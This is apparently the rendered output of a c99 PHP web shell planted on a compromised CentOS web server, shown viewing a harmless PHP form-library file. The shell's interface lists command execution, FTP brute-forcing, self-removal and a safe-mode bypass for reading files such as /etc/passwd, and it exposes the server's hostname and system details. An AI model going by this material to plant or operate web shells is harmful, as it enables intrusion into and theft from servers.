!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/reportEregis111/PFBC/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Element.php (5.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace PFBC
;

abstract class 
Element extends Base {
    protected 
$_errors = array();
    protected 
$_attributes = array();
    protected 
$_form;

    protected 
$label;
    protected 
$shortDesc;
    protected 
$longDesc;
    protected 
$validation = array();

    public function 
__construct($label$name, array $properties null) {
        
$configuration = array(
            
"label" => $label,
            
"name" => $name
        
);

        
/*Merge any properties provided with an associative array containing the label
        and name properties.*/
        
if(is_array($properties))
            
$configuration array_merge($configuration$properties);
        
        
$this->configure($configuration);
    }

    
/*When an element is serialized and stored in the session, this method prevents any non-essential
    information from being included.*/
    
public function __sleep() {
        return array(
"_attributes""label""validation");
    }

    
/*If an element requires external stylesheets, this method is used to return an
    array of entries that will be applied before the form is rendered.*/
    
public function getCSSFiles() {}

    public function 
getErrors() {
        return 
$this->_errors;
    }    

    
/*If an element requires external javascript file, this method is used to return an
    array of entries that will be applied after the form is rendered.*/
    
public function getJSFiles() {}

    public function 
getLabel() {
        return 
$this->label;
    }

    public function 
getLongDesc() {
        return 
$this->longDesc;
    }

    
/*This method provides a shortcut for checking if an element is required.*/
    
public function isRequired() {
        if(!empty(
$this->validation)) {
            foreach(
$this->validation as $validation) {
                if(
$validation instanceof ValidationRequired)
                    return 
true;
            }
        }
        return 
false;
    }

    public function 
getShortDesc() {
        return 
$this->shortDesc;
    }

    
/*The isValid method ensures that the provided value satisfies each of the 
    element's validation rules.*/
    
public function isValid($value) {
        
$valid true;
        if(!empty(
$this->validation)) {
            if(!empty(
$this->label))
                
$element $this->label;
            elseif(!empty(
$this->_attributes["placeholder"]))
                
$element $this->_attributes["placeholder"];
            else
                
$element $this->_attributes["name"];

            if(
substr($element, -1) == ":")
                
$element substr($element0, -1);

            foreach(
$this->validation as $validation) {
                if(!
$validation->isValid($value)) {
                    
/*In the error message, %element% will be replaced by the element's label (or 
                    name if label is not provided).*/
                    
$this->_errors[] = str_replace("%element%"$element$validation->getMessage());
                    
$valid false;
                }    
            }
        }
        return 
$valid;
    }

    
/*If an element requires jQuery, this method is used to include a section of javascript
    that will be applied within the jQuery(document).ready(function() {}); section after the 
    form has been rendered.*/
    
public function jQueryDocumentReady() {}

    
/*Elements that have the jQueryOptions property included (Date, Sort, Checksort, and Color)
    can make use of this method to render out the element's appropriate jQuery options.*/
    
public function jQueryOptions() {
        if(!empty(
$this->jQueryOptions)) {
            
$options "";
            foreach(
$this->jQueryOptions as $option => $value) {
                if(!empty(
$options))
                    
$options .= ", ";
                
$options .= $option ': ';
                
/*When javascript needs to be applied as a jQuery option's value, no quotes are needed.*/
                
if(is_string($value) && substr($value03) == "js:")
                    
$options .= substr($value3);
                else
                    
$options .= var_export($valuetrue);
            }
            echo 
"{ "$options" }";
        }
    }

    
/*Many of the included elements make use of the <input> tag for display.  These include the Hidden, Textbox, 
    Password, Date, Color, Button, Email, and File element classes.  The project's other element classes will
    override this method with their own implementation.*/
    
public function render() {
        echo 
'<input'$this->getAttributes(), '/>';
    }

    
/*If an element requires inline stylesheet definitions, this method is used send them to the browser before
    the form is rendered.*/
    
public function renderCSS() {}

    
/*If an element requires javascript to be loaded, this method is used send them to the browser after
    the form is rendered.*/
    
public function renderJS() {}

    public function 
_setForm(Form $form) {
        
$this->_form $form;
    }

    public function 
setLabel($label) {
        
$this->label $label;
    }

    
/*This method provides a shortcut for applying the Required validation class to an element.*/
    
public function setRequired($required) {
        if(!empty(
$required))
            
$this->validation[] = new ValidationRequired;
        
$this->_attributes["required"] = "";    
    }

    
/*This method applies one or more validation rules to an element.  If can accept a single concrete 
    validation class or an array of entries.*/
    
public function setValidation($validation) {
        
/*If a single validation class is provided, an array is created in order to reuse the same logic.*/
        
if(!is_array($validation))
            
$validation = array($validation);
        foreach(
$validation as $object) {
            
/*Ensures $object contains a existing concrete validation class.*/
            
if($object instanceof Validation) {
                
$this->validation[] = $object;
                if(
$object instanceof ValidationRequired)
                    
$this->_attributes["required"] = "";    
            }    
        }    
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0067 ]--